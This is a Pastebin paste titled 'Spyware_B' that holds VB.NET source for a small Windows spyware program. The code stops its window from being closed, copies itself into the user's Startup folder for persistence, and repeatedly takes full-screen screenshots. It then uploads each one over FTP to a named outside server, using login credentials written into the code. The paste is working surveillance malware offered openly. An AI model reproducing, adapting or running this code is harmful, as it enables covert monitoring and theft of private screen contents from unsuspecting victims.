Advertisement
informaticage

Spyware_B

Dec 5th, 2014 (edited)
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Public Class Form1
  2.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  3.         e.Cancel = True
  4.     End Sub
  5.  
  6.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  7.         Dim mypath As String
  8.         Dim startuppath As String
  9.         Try
  10.             startuppath = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
  11.             mypath = Application.ExecutablePath
  12.             FileCopy(mypath, startuppath + "\spyware.exe")
  13.         Catch ex As Exception
  14.  
  15.         End Try
  16.     End Sub
  17.  
  18.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  19.         Dim bounds As Rectangle
  20.         Dim screenshot As System.Drawing.Bitmap
  21.         Dim graph As Graphics
  22.  
  23.         Try
  24.             bounds = Screen.PrimaryScreen.Bounds
  25.             screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  26.             graph = Graphics.FromImage(screenshot)
  27.             graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  28.             PictureBox1.Image = screenshot
  29.             Me.PictureBox1.Image.Save("C:\stream\image.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
  30.         Catch ex As Exception
  31.  
  32.         End Try
  33.  
  34.         Try
  35.             My.Computer.Network.UploadFile("C:\stream\image.jpg", "ftp://ftp.remoteagochi.altervista.org/image.bmp", "remoteagochi", "pedrevobsu61")
  36.             Threading.Thread.Sleep(5000)
  37.         Catch ex As Exception
  38.  
  39.         End Try
  40.        
  41.     End Sub
  42. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement